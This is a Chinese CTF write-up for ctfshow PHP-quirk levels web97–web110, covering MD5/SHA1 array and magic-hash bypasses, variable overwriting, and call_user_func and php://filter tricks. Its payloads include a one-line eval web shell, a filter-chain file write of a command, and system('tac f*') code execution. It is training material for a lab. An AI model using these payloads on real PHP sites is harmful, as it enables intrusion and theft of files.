ctfshow (php特性篇)


web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) &#123;
    if ($_POST['a'] != $_POST['b'])
        if (md5($_POST['a']) === md5($_POST['b']))
        echo $flag;
    else
        print 'Wrong.';
&#125;
?>

php的MD5()函数不能处理数组,遇到数组时会返回null,绕过强比较。

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';//表示当get传参时,post会覆盖get
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);//当get的HTTP_FLAG为flag时输出flag
?>

payload:get:HTTP_FLAG=flagpost:HTTP_FLAG=flag

web99

了解两个函数的用法:

<?php
$allow=array();
/**
 * rand()函数:随机数生成
 * rand(min,max)
 */
for ($i=36; $i < 0x36d; $i++) &#123;
    array_push($allow, rand(1,$i));
&#125;
//查看生成的数组
print_r($allow);
//测试in_array()函数
if(in_array('1.php',$allow))&#123;
    print '弱比较!';
&#125;
else&#123;
    print '强比较!';
&#125;

payload:

get:?n=1.php  post: content=<?php eval($_POST[1]); ?>

web100

首先了解一下is_numeric()函数,只要v1不为0就为真。

<?php
$v1=0;
$v2=1;
$v3=1;
$v0=$v1 and $v2 and $v3;
if ($v0)&#123;
    print "ok!";
&#125;
else&#123;
    print "no!";
&#125;

还有两个函数是var_dump()和print_r()都是打印变量信息。
payload:

payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
payload:?v1=1&v2=print_r($ctfshow)/*&v3=*/;

然后将0x2d替换成“-”:

a='0bca95ec0x2d4f990x2d4e250x2dba1f0x2db7d5a2b01d26'.replace('0x2d','-');
print(a)
#0bca95ec-4f99-4e25-ba1f-b7d5a2b01d26

web 101

与100一样,只不过最后一位需要爆破一下,最后得到是f。

这里说一下啥是php的反射类。反射是指在PHP运行状态中,扩展分析PHP程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API。反射是操纵面向对象范型中元模型的API,其功能十分强大,可帮助我们构建复杂,可扩展的应用。平常我们用的比较多的是 ReflectionClass类 和 ReflectionMethod类。

<?php
class Kento&#123;
    private $a='aaa';
    const c='ccc';
    protected $b='bbb';
    public function getA()&#123;
        return $this->a;
    &#125;
    public function setB($m)&#123;
        $this->b=$m;
    &#125;
&#125;
$class=new  ReflectionClass('Kento');//建立kento这个类的反射类
print_r($class->getConstants());//显示常量
print_r($class->getMethods());//显示类方法
/**
 * 显示常量
 * Array
(
[c] => ccc
)
 * 显示方法
Array
(
[0] => ReflectionMethod Object
(
[name] => getA
[class] => Kento
)

[1] => ReflectionMethod Object
(
[name] => setB
[class] => Kento
)

)

 */

web102

is_numeric()函数,当变量为数字时返回为真。
call_user_func()函数的使用方法,可以参考以下代码:

<?php
class A&#123;
    public function b($c)&#123;
        echo $c;
    &#125;
&#125;
call_user_func(array('A','b'),'111');

题目分析:

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
//and的用法前面已经说过了
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4)&#123;
$s = substr($v2,2);//这里就是从v2的第二位开始截取
$str = call_user_func($v1,$s);//这里需要将s变量传入一个函数(bin2hex)
echo $str;
file_put_contents($v3,$str);//这里的意图应该是将str写入一个文件
&#125;
else&#123;
die('hacker');
&#125;
?>

直接上payload:

payload:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin

解释一下payload。因为,要寻找一个纯数字来绕过is_numeric,发现将<?=`cat *经过base64编码以后再进行16进制编码以后能够成功。

web103

与web102一致

web104

sha1和md5传入数组时均返回null:

<?php
$a[]=[1,2,3];
var_dump(sha1($a));//null
var_dump(md5($a));//null

所以,传入两个数组即可绕过。
还可以使用一下字符串绕过弱比较

<?php
print sha1('aaroZmOk').PHP_EOL;
print sha1('aaK1STfY').PHP_EOL;
print sha1('aaO8zKZF').PHP_EOL;
print sha1('aa3OFF9m').PHP_EOL;
//0e66507019969427134894567494305185566735
//0e76658526655756207688271159624026011393
//0e89257456677279068558073954252716165668
//0e36977786278517984959260394024281014729

web105

这是一道变量覆盖问题,通过变量覆盖使得$ error 或$suces为flag都能成功。
(1)利用

die($error);
//payload: get:a=flag  post: error=flag
//此时if(!($_POST['flag']==$flag))执行成功

(2)利用

die($suces);
//利用这个需要让post['flag']==$flag执行成功
//所以post: flag=  get:flag=
//然后get:suces=flag成功
//payload: get:suces=flag&flag= post: flag=

web106

与web104一样

web107

介绍一下parse_str()函数的用法

<?php
parse_str("v1=111&v2=222",$arry);
var_dump($arry);
/**
 * array(2) &#123;
["v1"]=>
string(3) "111"
["v2"]=>
string(3) "222"
&#125;
 */

payload: get:v3[]= post: v1=
因为md5返回数组为空,所以v1也可传入一个空值。

web108

这里主要考察的是ereg()函数的%00绕过,intval和strrev函数的功能可以百度

payload:?c=kento%00778

web109

只要保证new后面的类能够成功,后面就可以执行任何命令了。

payload:v1=Exception();system(‘tac f*’);//&v2=a

web110

了解一下FilesystemIterator

<?php
$a=new FilesystemIterator('.');
while ($a->valid())&#123;
    echo $a->getFilename()."\n";
    $a->next();
&#125;
//.idea
//aa.css
//index.php
//payload.html
//payload.php
//test.html
//test.php

这是一个遍历文件目录的类,但是“.”号被过滤了,可以使用getcwd函数代替,效果也是一样的。

<?php
$a=new FilesystemIterator(getcwd());
while ($a->valid())&#123;
    echo $a->getFilename()."\n";
    $a->next();
&#125;

文章作者: kento
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kento !
评论
  目录